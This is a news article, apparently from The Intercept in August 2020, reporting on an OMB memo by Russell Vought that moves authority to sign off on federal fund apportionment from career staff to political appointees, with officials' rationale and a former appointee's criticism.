“ Political appointees are there to advance the ideological goals of a presidency ; historically @ @ @ @ @ @ @ within the apolitical , pragmatic recommendations of the career experts .
Political appointees almost never have the depth of knowledge or historical data needed to make an informed decision about a specific budget apportionment on their own .
The idea that such decisions will shift from nonpartisan experts to the fair-weather grifters in the White House is alarming .
”

In the final months of its first term, the Trump administration is cutting career government employees out of the process of apportioning federal funds, according to a memo reviewed by The Intercept, sent to staff on August 12 by Office of Management and Budget Director Russell Vought.
OMB sits at the center of the government’s executive branch, serving as a financial clearinghouse for every agency and federal program. The 100-year-old office reviews legislation passed by Congress that authorizes and appropriates federal government spending, and then apportions money to agencies based on those laws. For decades, OMB’s career staff have been responsible for signing off on the legality of the apportionment of funds to agencies and for projects.
Under the new regime, however, program associate directors — political appointees known as PADs — will sign off on disbursements themselves. The rationale behind the shift is that apportionment decisions are fundamentally policy decisions and therefore, should be the responsibility of political aides who are ostensibly accountable to voters, rather than government bureaucrats immune from such democratic responsiveness.
The change is not meant to enable the improper politicization of spending decisions, senior Trump administration officials said to The Intercept, but rather is intended to align responsibility where it ought to be: with those officials who are accountable to the government. When the agency was originally created, sign-off authority rested with the highest official in each department. A reorganization in 1970 added a new layer of officials — the PADs — but left the authority a rung below with the top career staff. The new delegations, the officials said, aims to correct that.
Meg Reilly, a political appointee at OMB under the Obama administration, said that it was alarming to think of people without training or expertise — or the culture of legal fealty that exists among career staff in the OMB — having power over those numbers. “It’s a meaningful cultural shift,” she said, noting that the career staff and political appointees within OMB physically work in different buildings, a geographic representation of the gulf between their roles.
The Trump administration, through the OMB, has previously worked to circumvent or override decision-making by career appointees, most famously by impounding U.S. military aid to Ukraine in 2019, at the same time that President Donald Trump was pressuring Ukraine to investigate Joe Biden — a scandal that resulted in Trump’s impeachment and ultimate acquittal. Given the administration’s handling of the census and the U.S. Postal Service — both of which it has worked to deliberately undermine for political gain — there is reason to suspect that its appointees would not handle the newfound power responsibly. Restricting funds or delaying disbursement until later in the year could have dramatic consequences for struggling states or for agencies like the Census Bureau, which has already faced major delays as a result of the pandemic and ended the 2020 headcount early, or the Postal Service, which has seen a wave of new policies and delays under the newly appointed Postmaster General Louis DeJoy, who is a mega-donor to Trump’s campaign.
Vought’s memo also gives him the ability to exercise the decision-making authority himself. “The delegation supersedes any previous delegation of such authority and will remain in place until revised or revoked,” the memo reads. “The Program Associate Directors may re-delegate this authority as necessary in writing. The delegation does not limit the authority of the director to exercise the delegated authority.”
Vought is a longtime conservative operative and was a senior aide to the Republican Study Committee, a coalition of right-wing House Republicans that is a mirror of the Congressional Progressive Caucus. He is also a veteran of Heritage Action, the explicitly political arm of the Heritage Foundation, a conservative think tank. He was confirmed as deputy director of OMB in 2018 thanks to a tie-breaking vote cast by Vice President Mike Pence. He took over as acting director in January 2019, when Trump hired then-OMB Director Mick Mulvaney as his chief of staff. He was finally confirmed as director last month — making the memo one of his first moves in his official capacity as director.
During his confirmation hearing, Democrats challenged Vought on his position on withholding federal funds from states that embrace absentee voting, along with other politicized spending decisions. Sen. Ron Wyden, D-Ore., asked what he would do if he was ordered by Trump to punish states that encouraged mail-in voting. “I would take a review of programs and what discretionary authority we had, but I would do it within the bounds of the law,” Vought said, giving little ground.
Vought is a controversial figure on Capitol Hill, having defied a subpoena from congressional Democrats, refusing to answer questions about the withholding of funds from Ukraine. The Government Accountability Office released a report saying that OMB, under Vought, broke the law in withholding the funds. Vought rejected the characterization, which the GAO just as swiftly dismissed. “OMB’s assertions have no basis in law,” the GAO reported.
Reilly said the change is about more than just the politicization of disbursement decisions. “OMB career staffers are experts in their highly specific fields, many with advanced degrees and decades of experience,” she said. “Political appointees are there to advance the ideological goals of a presidency; historically, they find ways to do that within the apolitical, pragmatic recommendations of the career experts. Political appointees almost never have the depth of knowledge or historical data needed to make an informed decision about a specific budget apportionment on their own. The idea that such decisions will shift from nonpartisan experts to the fair-weather grifters in the White House is alarming.”
Update: Aug. 20, 2020, 10:39 a.m. ET
This article has been updated to include comment from senior Trump administration officials.